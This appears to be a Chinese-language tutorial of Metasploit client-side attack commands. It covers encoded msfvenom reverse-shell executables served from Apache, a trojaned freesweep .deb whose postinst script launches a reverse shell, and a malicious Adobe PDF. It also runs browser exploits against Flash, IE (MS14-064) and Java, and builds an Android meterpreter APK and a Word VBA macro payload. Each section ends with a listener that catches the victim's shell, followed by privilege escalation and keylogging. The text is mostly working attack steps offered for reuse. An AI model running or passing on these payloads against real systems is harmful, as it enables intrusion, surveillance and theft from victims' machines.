#生成payloadmsfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.121 LPORT=4444 -b "x00" -e x86/shikata_ga_nai -i 9 -f exe -o 1.exe#启动apacheservice apache2 startcp 1.exe /var/www/html/#用msf侦听msfconsolemsf > use exploit/multi/handlermsf exploit(multi/handler) > set payload/windows/shell/reverse_tcpmsf exploit(multi/handler) > set LHOST 192.168.1.121msf exploit(multi/handler) > set LPORT 4444msf exploit(multi/handler) > exploit1234567891011 win7浏览器打开192.168.1.121/1.exe下载并执行 kali获取win7的权限

#搞个deb包apt --download-only install freesweepcd /var/cache/apt/archives #deb包在这个文件夹dpkg -x freesweep_0.90-3+b1_amd64.deb free #解包cd free/mkdir DEBIANcd DEBIAN/#创建控制文件vi control Package: freesweep Version: 0.90-3 Section: Games and Amusement Priority: optional Architecture:amd64 Maintainer: Ubuntu MOTU Developers (ubuntu-motu@ lists.ubuntu.com) Description: a text-based minesweeper Freesweep isan implementation of the popular minesweeper game,whereone tries to find all the mines without igniting any, based on hints givenby the computer.Unlike most implementations of this game,Freesweepworksinanyvisualtextdispl in Linuxconsole,inanxterm,and inmost text-based terminals currently in use.#创建脚本vi postinst #!/bin/sh sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &chmod 755 postinst #生成payloadmsfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.1.121 LPORT=4444 -b "x00" -f elf -o /root/free/usr/games/freesweep_scores#打包生成deb包dpkg-deb --build /root/freeservice apache2 startcp free.deb /var/www/html/#用msf侦听msfconsolemsf > use exploit/multi/handlermsf exploit(multi/handler) > set payload/linux/x86/shell/reverse_tcpmsf exploit(multi/handler) > set LHOST 192.168.1.121msf exploit(multi/handler) > set LPORT 4444msf exploit(multi/handler) > exploit12345678910111213141516171819202122232425262728293031323334 ubantu 浏览器192.168.1.121/free.deb dpkg -i free.deb #进行安装  kali获得ubantu的shell

msf > use exploit/windows/fileformat/adobe_utilprintfmsf exploit(adobe_utilprintf) > set payload/windows/meterpreter/reverse_tcpmsf exploit(adobe_utilprintf) > set LHOST 192.168.1.121msf exploit(adobe_utilprintf) > exploit    [+] msf.pdf stored at /root/.msf4/local/msf.pdf #生成这么个含有payload的pdf#同样apacheservice apache2 startcp msf.pdf /var/www/html/# 开启监听msf > use exploit/multi/handlermsf exploit(multi/handler) > set payload/windows/meterpreter/reverse_tcpmsf exploit(multi/handler) > set LHOST 192.168.1.121msf exploit(multi/handler) > set LPORT 4444msf exploit(multi/handler) > exploit12345678910111213 winxp 浏览器192.168.1.121/msf.pdf 打开pdf kali获得winxp的shell 这个漏洞在win7上就不行 构造恶意网站 kali msf > use exploit/windows/browser/adobe_utilprintfmsf exploit(adobe_utilprintf) > set SRVPORT 80 #网站端口，也可以8080msf exploit(adobe_utilprintf) > set URIPATH / #用根目录，防止生成一串随机字符串msf exploit(adobe_utilprintf) > set payload windows/meterpreter/reverse_tcpmsf exploit(adobe_utilprintf) > set LHOST 192.168.1.121msf exploit(adobe_utilprintf) > exploit12345 winxp浏览器访问192.168.1.121:80 kali的session建立起来了 甚至可以结合地址欺骗 kali msf exploit(adobe_utilprintf) > session -i 2meterpreter > migrate 856 #把进程迁移到explorer.exe，即使win把浏览器关了，session仍在meterpreter > use priv #提权meterpreter > run post/windows/capture/keylog_recorder #启用键盘记录器123

msf > use exploit/multi/browser/adobe_flash_hacking_team_uafmsf exploit(adobe_flash_hacking_team_uaf) > set SRVPORT 80msf exploit(adobe_flash_hacking_team_uaf) > set URIPATH /msf exploit(adobe_flash_hacking_team_uaf) > set payload windows/meterpreter/reverse_tcpmsf exploit(adobe_flash_hacking_team_uaf) > set LHOST 192.168.1.121msf exploit(adobe_flash_hacking_team_uaf) > exploit#后面一样123456 还有一些模块如 exploit/multi/browser/adobe_flash_opaque_background_uafauxiliary/server/browser_autopwn2 #这个不需要指定payload，将msf里所有相关都打包了1

msf > use exploit/windows/browser/ms14_064_ole_code_executionmsf exploit(ms14_064_ole_code_execution) > set SRVPORT 80msf exploit(ms14_064_ole_code_execution) > set URIPATH /msf exploit(ms14_064_ole_code_execution) > set payload windows/meterpreter/reverse_tcpmsf exploit(ms14_064_ole_code_execution) > set LHOST 192.168.1.121msf exploit(ms14_064_ole_code_execution) > exploit12345

msf > use exploit/multi/browser/java_jre17_driver_managermsf exploit(java_jre17_driver_manager) > set SRVPORT 80msf exploit(java_jre17_driver_manager) > set SRVHOST 192.168.1.121msf exploit(java_jre17_driver_manager) > set URIPATH /msf exploit(java_jre17_driver_manager) > set payload java/meterpreter/reverse_tcpmsf exploit(java_jre17_driver_manager) > set LHOST 192.168.1.121msf exploit(java_jre17_driver_manager) > exploit123456 winxp使用Java时 kali获得shell

exploit/multi/browser/java_jre17_jmxbean exploit/multi/browser/java_jre17_reflection_types1

msf > use payload/android/meterpreter/reverse_tcpmsf payload(reverse_tcp) > set LHOST 192.168.1.121msf payload(reverse_tcp) > generate -f a.apk -p android -t raw #要生成个apk# 开启监听msf > use exploit/multi/handlermsf exploit(multi/handler) > set payload/android/meterpreter/reverse_tcpmsf exploit(multi/handler) > set LHOST 192.168.1.121msf exploit(multi/handler) > set LPORT 4444msf exploit(multi/handler) > exploit12345678 将apk拷贝到手机上并执行 kali获得手机的shell和进程

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.121 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe#生成两部分内容：VBA代码和16进制payload#用msf侦听msf > use exploit/multi/handlermsf exploit(multi/handler) > set payload/windows/shell/reverse_tcpmsf exploit(multi/handler) > set LHOST 192.168.1.121msf exploit(multi/handler) > set LPORT 4444msf exploit(multi/handler) > exploit1234567 windows office 2007 及以上word 视图-宏-创建 payload 第一部分粘入 VBA 代码 payload 第二部分粘入 word 正文 win打开word文件触发宏 kali获取shell